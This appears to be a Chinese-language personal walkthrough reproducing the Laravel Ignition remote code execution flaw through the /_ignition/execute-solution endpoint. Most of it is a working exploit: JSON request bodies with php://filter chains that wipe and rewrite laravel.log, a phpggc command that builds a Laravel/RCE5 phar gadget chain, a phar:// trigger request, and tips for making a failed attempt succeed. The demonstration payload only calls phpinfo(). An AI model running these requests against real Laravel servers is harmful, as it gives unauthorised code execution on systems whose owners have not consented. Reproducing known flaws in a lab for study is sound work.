访问/_ignition/execute-solution 抓包
会出现如下页面
2. 检测
修改为POST,添加内容
并且修改
Content-Type: application/json
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
3.利用
需要先安装phpgcc用于生成POC,下载地址: https://github.com/ambionics/phpggc
3.1 清空日志
发送如下数据包,将Laravel的原日志文件laravel.log清空
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
返回200
3.2 给Log增加一次前缀,用于对齐
发送如下数据包:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
命令:php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phpgcc生成的内容"
}
}
注意:得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败,而且末尾的双引号要和最后的数据在同一行负责返回302
3.4 清空对log文件中的干扰字符,只留下POC
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}
viewFile里是绝对路径
然后发现并没有执行
我有重新搞了几遍还是这样,给我整emo了
然后看其他人的复现文章发现他们的数据包都是只有host、Content-Length、Content-Type
我传来一遍,尝试把其他的内容也删掉,然后就可以了
重新来一遍
所有数据包都只需要留下host、Content-Length、Content-Type内容,其他删掉即可
要是失败就重新整几次
上面的截图都没删其他内容,由于排问题已经重新搞了好多次,实在不想重来一遍了QWQ
eg:Laravel分析